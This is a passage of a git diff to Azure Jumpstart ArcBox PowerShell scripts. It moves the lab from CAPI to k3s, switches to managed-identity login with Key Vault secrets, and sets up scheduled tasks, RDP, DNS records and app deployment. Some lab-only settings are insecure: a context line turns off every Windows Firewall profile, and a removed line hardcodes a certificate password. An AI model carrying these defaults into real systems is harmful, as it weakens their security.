($rdpPort -ne "3389")) { Write-Host "Configuring RDP port number to $rdpPort" $TSPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' $RDPTCPpath = $TSPath + '\Winstations\RDP-Tcp' @@ -295,22 +328,19 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) # RDP port $portNumber = (Get-ItemProperty -Path $RDPTCPpath -Name 'PortNumber').PortNumber Write-Host "Current RDP PortNumber: $portNumber" - if (!($portNumber -eq $rdpPort)) - { - Write-Host Setting RDP PortNumber to $rdpPort - Set-ItemProperty -Path $RDPTCPpath -name 'PortNumber' -Value $rdpPort - Restart-Service TermService -force + if (!($portNumber -eq $rdpPort)) { + Write-Host Setting RDP PortNumber to $rdpPort + Set-ItemProperty -Path $RDPTCPpath -name 'PortNumber' -Value $rdpPort + Restart-Service TermService -force } #Setup firewall rules - if ($rdpPort -eq 3389) - { - netsh advfirewall firewall set rule group="remote desktop" new Enable=Yes + if ($rdpPort -eq 3389) { + netsh advfirewall firewall set rule group="remote desktop" new Enable=Yes } - else - { - $systemroot = get-content env:systemroot - netsh advfirewall firewall add rule name="Remote Desktop - Custom Port" dir=in program=$systemroot\system32\svchost.exe service=termservice action=allow protocol=TCP localport=$RDPPort enable=yes + else { + $systemroot = get-content env:systemroot + netsh advfirewall firewall add rule name="Remote Desktop - Custom Port" dir=in program=$systemroot\system32\svchost.exe service=termservice action=allow protocol=TCP localport=$RDPPort enable=yes } Write-Host "RDP port configuration complete." @@ -318,31 +348,37 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) Write-Header "Configuring Logon Scripts" -if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { - # Creating scheduled task for ArcServersLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 - Register-ScheduledTask -TaskName "ArcServersLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force -} +$ScheduledTaskExecutable = "pwsh.exe" -if ($flavor -eq "Full") { - # Creating scheduled task for DataServicesLogonScript.ps1 + +if ($flavor -eq "ITPro") { + # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 - Register-ScheduledTask -TaskName "DataServicesLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + # Creating scheduled task for ArcServersLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 + Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { - # Creating scheduled task for DevOpsLogonScript.ps1 + # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 - Register-ScheduledTask -TaskName "DevOpsLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 + Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + # Creating scheduled task for DevOpsLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 + Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DataOps") { # Joining ClientVM to AD DS domain - $netbiosname = $Env:addsDomainName.Split(".")[0] + if ($null -eq $addsDomainName){ + $addsDomainName = "jumpstart.local" + } + + $netbiosname = $addsDomainName.Split(".")[0] $computername = $env:COMPUTERNAME $domainCred = New-Object pscredential -ArgumentList ([pscustomobject]@{ @@ -355,7 +391,6 @@ if ($flavor -eq "DataOps") { Password = (ConvertTo-SecureString -String $adminPassword -AsPlainText -Force)[0] }) - # Creating scheduled task for DataOpsLogonScript.ps1 # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup $Trigger = New-ScheduledTaskTrigger -AtStartup @@ -363,9 +398,8 @@ if ($flavor -eq "DataOps") { Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -Trigger $Trigger -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." - Write-Host "`n" Write-Host "Joining client VM to domain" - Add-Computer -DomainName $Env:addsDomainName -LocalCredential $localCred -Credential $domainCred + Add-Computer -DomainName $addsDomainName -LocalCredential $localCred -Credential $domainCred Write-Host "Joined Client VM to $addsDomainName domain." # Disabling Windows Server Manager Scheduled Task @@ -379,7 +413,7 @@ if ($flavor -eq "DataOps") { # Clean up Bootstrap.log Stop-Transcript - $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: powershell.exe" } + $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $bootstrapLogFile -Force # Restart computer @@ -388,13 +422,15 @@ if ($flavor -eq "DataOps") { else { # Creating scheduled task for MonitorWorkbookLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 - Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 + Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Disabling Windows Server Manager Scheduled Task Get-ScheduledTask -TaskName ServerManager | Disable-ScheduledTask + if ($flavor -eq "ITPro") { + Write-Header "Installing Hyper-V" # Install Hyper-V and reboot @@ -403,9 +439,14 @@ else { Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform -NoRestart Install-WindowsFeature -Name Hyper-V -IncludeAllSubFeature -IncludeManagementTools -Restart + } + # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript - $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: powershell.exe" } + $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } + +# Restart computer +Restart-Computer \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppDRScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppDRScript.ps1 index 34ee60b070..b0514181d2 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppDRScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppDRScript.ps1 @@ -1,7 +1,7 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $CName = "dataops" -$certdns = "$CName.jumpstart.local" +# $certdns = "$CName.jumpstart.local" $appNamespace = "arc" $sqlInstance = "aks-dr" @@ -10,18 +10,8 @@ Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsAppDRScript.log # Switch kubectl context to AKS DR kubectx $sqlInstance -Write-Header "Adding CName Record for App" -$dcInfo = Get-ADDomainController -Do -{ - $appIpaddress= kubectl get svc "dataops-ingress-nginx-ingress-controller" -o jsonpath="{.status.loadBalancer.ingress[0].ip}" - Start-Sleep -Seconds 5 -} while ($appIpaddress -eq $null) -Add-DnsServerResourceRecord -ComputerName $dcInfo.HostName -ZoneName $dcInfo.Domain -A -Name "$CName-$sqlInstance" -AllowUpdateAny -IPv4Address $appIpaddress -TimeToLive 01:00:00 -AgeRecord -Add-DnsServerResourceRecordCName -Name $CName -ComputerName $dcInfo.HostName -HostNameAlias "$CName-$sqlInstance.jumpstart.local" -ZoneName jumpstart.local -TimeToLive 00:05:00 - # Deploy the App and service -$appCAPI = @" +$appK3s = @" apiVersion: apps/v1 kind: Deployment metadata: @@ -40,7 +30,7 @@ spec: spec: containers: - name: web - image: azurearcjumpstart.azurecr.io/demoapp:dr + image: jumpstartdev.azurecr.io/demoapp:dr ports: - containerPort: 80 volumeMounts: @@ -59,7 +49,7 @@ metadata: spec: selector: app: web - type: ClusterIP + type: LoadBalancer ports: - protocol: TCP port: 80 @@ -67,36 +57,19 @@ spec: "@ Write-Header "Deploying App Resource" -$appCAPI | kubectl apply -n $appNamespace -f - +$appK3s | kubectl apply -n $appNamespace -f - + +# Write-Header "Adding CName Record for App" +$dcInfo = Get-ADDomainController +Do +{ + Write-Host "Waiting for Web App Service, hold tight..." + $appIpaddress= kubectl get svc "web-app-service" -o jsonpath="{.status.loadBalancer.ingress[0].ip}" + Start-Sleep -Seconds 5 +} while ($null -eq $appIpaddress) +Add-DnsServerResourceRecord -ComputerName $dcInfo.HostName -ZoneName $dcInfo.Domain -A -Name "$CName-$sqlInstance" -AllowUpdateAny -IPv4Address $appIpaddress -TimeToLive 01:00:00 -AgeRecord +Add-DnsServerResourceRecordCName -Name $CName -ComputerName $dcInfo.HostName -HostNameAlias "$CName-$sqlInstance.jumpstart.local" -ZoneName jumpstart.local -TimeToLive 00:05:00 -# Deploy an Ingress Resource for the app -$appIngress = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-tls - annotations: - kubernetes.io/ingress.class: nginx - nginx.ingress.kubernetes.io/rewrite-target: /$1 -spec: - tls: - - hosts: - - "$certdns" - secretName: "$CName-secret" - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: web-app-service - port: - number: 80 - path: / -"@ -Write-Header "Deploying App Ingress Resource" -$appIngress | kubectl apply -n $appNamespace -f - Do { Write-Host "Waiting for Web App pod, hold tight..." diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index d652cd1328..66d6846490 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -3,50 +3,46 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" $CName = "jumpstartbooks" -$certdns = "$CName.jumpstart.local" -$password = "arcbox" +# $certdns = "$CName.jumpstart.local" +# $password = "arcbox" $appNamespace = "arc" -$sqlInstance = "capi" +$sqlInstance = "k3s" Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsAppScript.log -Write-Host "Generating a TLS Certificate" -$cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" -$certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText -Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$CName.pfx" -Password $certPassword -Import-PfxCertificate -FilePath "$Env:TempDir\$CName.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword +# # Add OpenSSL to path environment variable +# $openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" +# $currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Process) +# $newPathVariable = $currentPathVariable + ";" + $openSSL +# [Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Process) -openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -nocerts -out "$Env:TempDir\$CName.key" -password pass:$password -passout pass:$password -openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password -openssl rsa -in "$Env:TempDir\$CName.key" -out "$Env:TempDir\$CName-dec.key" -passin pass:$password +# Write-Host "Generating a TLS Certificate" +# $cert = New-SelfSignedCertificate -DnsName $certdns -KeyAlgorithm RSA -KeyLength 2048 -NotAfter (Get-Date).AddYears(1) -CertStoreLocation "Cert:\CurrentUser\My" +# $certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText +# Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$CName.pfx" -Password $certPassword +# Import-PfxCertificate -FilePath "$Env:TempDir\$CName.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword -Write-Header "Creating Ingress Controller" -foreach ($cluster in @('capi', 'aks-dr')) { - # Create K8s Ingress TLS secret - kubectx $cluster - kubectl -n $appNamespace create secret tls "$CName-secret" --key "$Env:TempDir\$CName-dec.key" --cert "$Env:TempDir\$CName.crt" +# openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -nocerts -out "$Env:TempDir\$CName.key" -password pass:$password -passout pass:$password +# openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password +# openssl rsa -in "$Env:TempDir\$CName.key" -out "$Env:TempDir\$CName-dec.key" -passin pass:$password - # Deploy NGINX Ingress Controller - helm repo add nginx-stable https://helm.nginx.com/stable - helm repo update - helm install dataops-ingress nginx-stable/nginx-ingress -} +# Write-Header "Creating Ingress Controller" +# foreach ($cluster in @('k3s', 'aks-dr')) { +# # Create K8s Ingress TLS secret +# kubectx $cluster +# kubectl -n $appNamespace create secret tls "$CName-secret" --key "$Env:TempDir\$CName-dec.key" --cert "$Env:TempDir\$CName.crt" -# Switch kubectl context to capi -kubectx $sqlInstance +# # Deploy NGINX Ingress Controller +# helm repo add nginx-stable https://helm.nginx.com/stable +# helm repo update +# helm install dataops-ingress nginx-stable/nginx-ingress +# } -Write-Header "Adding CName Record for App" -$dcInfo = Get-ADDomainController -Do -{ - $appIpaddress= kubectl get svc "dataops-ingress-nginx-ingress-controller" -o jsonpath="{.status.loadBalancer.ingress[0].ip}" - Start-Sleep -Seconds 5 -} while ($appIpaddress -eq $null) -Add-DnsServerResourceRecord -ComputerName $dcInfo.HostName -ZoneName $dcInfo.Domain -A -Name "$CName-$sqlInstance" -AllowUpdateAny -IPv4Address $appIpaddress -TimeToLive 01:00:00 -AgeRecord -Add-DnsServerResourceRecordCName -Name $CName -ComputerName $dcInfo.HostName -HostNameAlias "$CName-$sqlInstance.jumpstart.local" -ZoneName jumpstart.local -TimeToLive 00:05:00 +# Switch kubectl context to k3s +kubectx $sqlInstance # Deploy the App and service -$appCAPI = @" +$appK3s = @" apiVersion: apps/v1 kind: Deployment metadata: @@ -65,7 +61,7 @@ spec: spec: containers: - name: web - image: azurearcjumpstart.azurecr.io/demoapp + image: jumpstartdev.azurecr.io/demoapp ports: - containerPort: 80 volumeMounts: @@ -84,7 +80,7 @@ metadata: spec: selector: app: web - type: ClusterIP + type: LoadBalancer ports: - protocol: TCP port: 80 @@ -92,36 +88,18 @@ spec: "@ Write-Header "Deploying App Resource" -$appCAPI | kubectl apply -n $appNamespace -f - +$appK3s | kubectl apply -n $appNamespace -f - -# Deploy an Ingress Resource for the app -$appIngress = @" -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: ingress-tls - annotations: - kubernetes.io/ingress.class: nginx - nginx.ingress.kubernetes.io/rewrite-target: /$1 -spec: - tls: - - hosts: - - "$certdns" - secretName: "$CName-secret" - rules: - - host: "$certdns" - http: - paths: - - pathType: ImplementationSpecific - backend: - service: - name: web-app-service - port: - number: 80 - path: / -"@ -Write-Header "Deploying App Ingress Resource" -$appIngress | kubectl apply -n $appNamespace -f - +Write-Header "Adding CName Record for App" +$dcInfo = Get-ADDomainController +Do +{ + Write-Host "Waiting for Web App Service, hold tight..." + $appIpaddress= kubectl -n $appNamespace get svc "web-app-service" -o jsonpath="{.status.loadBalancer.ingress[0].ip}" + Start-Sleep -Seconds 5 +} while ($null -eq $appIpaddress) +Add-DnsServerResourceRecord -ComputerName $dcInfo.HostName -ZoneName $dcInfo.Domain -A -Name "$CName-$sqlInstance" -AllowUpdateAny -IPv4Address $appIpaddress -TimeToLive 01:00:00 -AgeRecord +Add-DnsServerResourceRecordCName -Name $CName -ComputerName $dcInfo.HostName -HostNameAlias "$CName-$sqlInstance.jumpstart.local" -ZoneName jumpstart.local -TimeToLive 00:05:00 Do { Write-Host "Waiting for Web App pod, hold tight..." @@ -129,11 +107,11 @@ Do { $podStatus = $(if(kubectl get pods -n $appNamespace | Select-String "web-app" | Select-String "Running" -Quiet){"Ready!"}Else{"Nope"}) } while ($podStatus -eq "Nope") -# Creating CAPI Bookstore Arc Icon on Desktop +# Creating K3s Bookstore Arc Icon on Desktop $shortcutLocation = "$Env:Public\Desktop\Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "https://$certdns" +$shortcut.TargetPath = "http://$CName.jumpstart.local" $shortcut.IconLocation="$Env:ArcBoxIconDir\bookstore.ico, 0" $shortcut.WindowStyle = 3 $shortcut.Save() diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index a29f870851..e6b4746350 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -1,18 +1,66 @@ +$ErrorActionPreference = $env:ErrorActionPreference + $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" -$Env:ArcBoxVMDir = "$Env:ArcBoxDir\Virtual Machines" +$Env:ArcBoxVMDir = "F:\Virtual Machines" $Env:ArcBoxIconDir = "C:\ArcBox\Icons" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" +$Env:AZCOPY_AUTO_LOGIN_TYPE = "MSI" +$namingPrefix = ($Env:namingPrefix).toLower() +$k3sArcDataClusterName = ($Env:k3sArcDataClusterName).toLower() +$aksArcClusterName = ($Env:aksArcClusterName).toLower() +$aksdrArcClusterName = ($Env:aksdrArcClusterName).toLower() $clusters = @( - [pscustomobject]@{clusterName = $Env:capiArcDataClusterName; dataController = "$Env:capiArcDataClusterName-dc" ; customLocation = "$Env:capiArcDataClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'capi' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-capi"; distribution = "generic" } - - [pscustomobject]@{clusterName = $Env:aksArcClusterName ; dataController = "$Env:aksArcClusterName-dc" ; customLocation = "$Env:aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks"; distribution = "aks" } - - [pscustomobject]@{clusterName = $Env:aksdrArcClusterName ; dataController = "$Env:aksdrArcClusterName-dc" ; customLocation = "$Env:aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr"; distribution = "aks" } + [pscustomobject]@{clusterName = $Env:k3sArcDataClusterName; dataController = "$k3sArcDataClusterName-dc" ; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-data" } + [pscustomobject]@{clusterName = $Env:aksArcClusterName ; dataController = "$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } + [pscustomobject]@{clusterName = $Env:aksdrArcClusterName ; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } ) Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsLogonScript.log +# Remove registry keys that are used to automatically logon the user (only used for first-time setup) +$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +$keys = @("AutoAdminLogon", "DefaultUserName", "DefaultPassword") + +foreach ($key in $keys) { + try { + $property = Get-ItemProperty -Path $registryPath -Name $key -ErrorAction Stop + Remove-ItemProperty -Path $registryPath -Name $key + Write-Host "Removed registry key that are used to automatically logon the user: $key" + } catch { + Write-Verbose "Key $key does not exist." + } +} + +# Create Windows Terminal desktop shortcut +$WshShell = New-Object -comObject WScript.Shell +$WinTerminalPath = (Get-ChildItem "C:\Program Files\WindowsApps" -Recurse | Where-Object { $_.name -eq "wt.exe" }).FullName +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Windows Terminal.lnk") +$Shortcut.TargetPath = $WinTerminalPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Create desktop shortcut for Logs-folder +$WshShell = New-Object -comObject WScript.Shell +$LogsPath = "C:\ArcBox\Logs" +$Shortcut = $WshShell.CreateShortcut("$Env:USERPROFILE\Desktop\Logs.lnk") +$Shortcut.TargetPath = $LogsPath +$shortcut.WindowStyle = 3 +$shortcut.Save() + +# Configure Windows Terminal as the default terminal application +$registryPath = "HKCU:\Console\%%Startup" + +if (Test-Path $registryPath) { + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} else { + New-Item -Path $registryPath -Force | Out-Null + Set-ItemProperty -Path $registryPath -Name "DelegationConsole" -Value "{2EACA947-7F5F-4CFA-BA87-8F7FBEEFBE69}" + Set-ItemProperty -Path $registryPath -Name "DelegationTerminal" -Value "{E12CFF52-A866-4C77-9A90-F570A7AA2C6B}" +} + $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".dataops" -ItemType Directory if (-not $($cliDir.Parent.Attributes.HasFlag([System.IO.FileAttributes]::Hidden))) { @@ -26,21 +74,29 @@ Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False # Required for azcopy Write-Header "Az PowerShell Login" -$azurePassword = ConvertTo-SecureString $Env:spnClientSecret -AsPlainText -Force -$psCred = New-Object System.Management.Automation.PSCredential($Env:spnClientID , $azurePassword) -Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincipal +Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId -az account set -s $Env:subscriptionId +az login --identity +az account set -s $env:subscriptionId + +$KeyVault = Get-AzKeyVault -ResourceGroupName $Env:resourceGroup +if (-not (Get-SecretVault -Name $KeyVault.VaultName -ErrorAction Ignore)) { + Register-SecretVault -Name $KeyVault.VaultName -ModuleName Az.KeyVault -VaultParameters @{ AZKVaultName = $KeyVault.VaultName } -DefaultVault +} + +# Retrieve Azure Key Vault secrets and store as runtime environment variables +$AZDATA_PASSWORD = Get-Secret -Name 'AZDATAPASSWORD' -AsPlainText +$Env:AZDATA_PASSWORD = $AZDATA_PASSWORD -# Register Azure providers -Write-Header "Registering Providers" -az provider register --namespace Microsoft.Kubernetes --wait -az provider register --namespace Microsoft.KubernetesConfiguration --wait -az provider register --namespace Microsoft.ExtendedLocation --wait -az provider register --namespace Microsoft.AzureArcData --wait +# Register Azure providers. +# ---- MOVE THESE INTO PRE-REQUISITES DOCUMENT AND REMOVE--- +#Write-Header "Registering Providers" +#az provider register --namespace Microsoft.Kubernetes --wait +#az provider register --namespace Microsoft.KubernetesConfiguration --wait +#az provider register --namespace Microsoft.ExtendedLocation --wait +#az provider register --namespace Microsoft.AzureArcData --wait # Making extension install dynamic Write-Header "Installing Azure CLI extensions" @@ -48,6 +104,7 @@ az config set extension.use_dynamic_install=yes_without_prompt # Installing Azure CLI extensions az extension add --name connectedk8s --version 1.3.17 az extension add --name arcdata +az extension add --name k8s-extension az extension add --name customlocation az -v @@ -58,13 +115,13 @@ $Env:argument2 = "microsoft.azcli" $Env:argument3 = "microsoft.azuredatastudio-postgresql" $Env:argument4 = "Microsoft.arc" -& "C:\Program Files\Azure Data Studio\bin\azuredatastudio.cmd" $Env:argument1 $Env:argument2 -& "C:\Program Files\Azure Data Studio\bin\azuredatastudio.cmd" $Env:argument1 $Env:argument3 -& "C:\Program Files\Azure Data Studio\bin\azuredatastudio.cmd" $Env:argument1 $Env:argument4 +& "azuredatastudio.cmd" $Env:argument1 $Env:argument2 +& "azuredatastudio.cmd" $Env:argument1 $Env:argument3 +& "azuredatastudio.cmd" $Env:argument1 $Env:argument4 # Create Azure Data Studio desktop shortcut Write-Header "Creating Azure Data Studio Desktop Shortcut" -$TargetFile = "C:\Program Files\Azure Data Studio\azuredatastudio.exe" +$TargetFile = "C:\Users\$Env:adminUsername\AppData\Local\Programs\Azure Data Studio\azuredatastudio.exe" $ShortcutFile = "C:\Users\$Env:adminUsername\Desktop\Azure Data Studio.lnk" $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) @@ -75,7 +132,7 @@ $Shortcut.Save() Write-Host "`n" Write-Host "Creating Microsoft SQL Server Management Studio (SSMS) desktop shortcut" Write-Host "`n" -$TargetFile = "C:\Program Files (x86)\Microsoft SQL Server Management Studio 19\Common7\IDE\ssms.exe" +$TargetFile = "C:\Program Files (x86)\Microsoft SQL Server Management Studio 20\Common7\IDE\ssms.exe" $ShortcutFile = "C:\Users\$Env:adminUsername\Desktop\Microsoft SQL Server Management Studio.lnk" $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) @@ -89,44 +146,19 @@ get-WindowsFeature | Where-Object { $_.Name -like "RSAT-AD-Tools" } | Install-Wi get-WindowsFeature | Where-Object { $_.Name -like "RSAT-DNS-Server" } | Install-WindowsFeature Write-Host "`n" -# Downloading CAPI Kubernetes cluster kubeconfig file -Write-Header "Downloading CAPI K8s Kubeconfig" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/config" -$context = (Get-AzStorageAccount -ResourceGroupName $Env:resourceGroup).Context -$sas = New-AzStorageAccountSASToken -Context $context -Service Blob -ResourceType Object -Permission racwdlup -$sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config-capi" -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:USERNAME\.kube\config" - -# Downloading 'installCAPI.log' log file -Write-Header "Downloading CAPI Install Logs" -$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/staging-capi/installCAPI.log" -$sourceFile = $sourceFile + "?" + $sas -azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\installCAPI.log" - -#VNet peering with CAPI vnet -$capiVnetName = $clusters[0].clusterName + '-vnet' -$dcVnetId = $(az network vnet show ` - --resource-group $Env:resourceGroup ` - --name "ArcBox-VNet" ` - --query id --out tsv) - -$capiVnetId = $(az network vnet show ` - --resource-group $Env:resourceGroup ` - --name $capiVnetName ` - --query id --out tsv) - -az network vnet peering create --name "dcVnet-CapiVnet" ` - --resource-group $Env:resourceGroup ` - --vnet-name "ArcBox-VNet" ` - --remote-vnet $capiVnetId ` - --allow-vnet-access - -az network vnet peering create --name "CapiVnet-dcVnet" ` - --resource-group $Env:resourceGroup ` - --vnet-name $capiVnetName ` - --remote-vnet $dcVnetId ` - --allow-vnet-access +# Downloading k3s Kubernetes cluster kubeconfig file +Write-Header "Downloading k3s Kubeconfig" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/config" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config-k3s-data" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername\.kube\config" + +$addsDomainNetBiosName = $Env:addsDomainName.Split(".")[0] +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "C:\Users\$Env:adminUsername.$addsDomainNetBiosName\.kube\config" + +# Downloading 'installk3s.log' log file +Write-Header "Downloading k3s Install Logs" +$sourceFile = "https://$Env:stagingStorageAccountName.blob.core.windows.net/$($Env:k3sArcDataClusterName.ToLower())/*" +azcopy cp --check-md5 FailIfDifferentOrMissing $sourceFile "$Env:ArcBoxLogsDir\" --include-pattern "*.log" Start-Sleep -Seconds 